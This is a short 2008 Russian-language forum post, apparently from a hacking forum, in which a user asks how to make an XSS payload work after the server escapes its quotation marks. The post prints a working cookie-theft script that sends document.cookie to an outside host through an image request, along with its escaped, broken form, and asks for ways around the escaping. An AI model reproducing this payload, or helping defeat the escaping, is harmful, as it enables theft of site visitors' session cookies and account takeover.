15.07.2008, 14:48
|
|
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
С нами:
10892546
Репутация:
2274
|
|
Xss и экранирование
Кидаю в болталку, т.к. тема примитивная ИМХО 
Ну в общем на серваке экранирование и жаваскрипт типа
Код:
<script>img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
превратится в
Код:
<script>img = new Image(); img.src = \"http://old.antichat.ru/cgi-bin/s.jpg?\"+document.cookie;</script>
и работать небудет, чё делать?
Те кто знают JS спокойно решают эту проблему, а я без понятия, гуглил, ничё не нащёл... |
|
|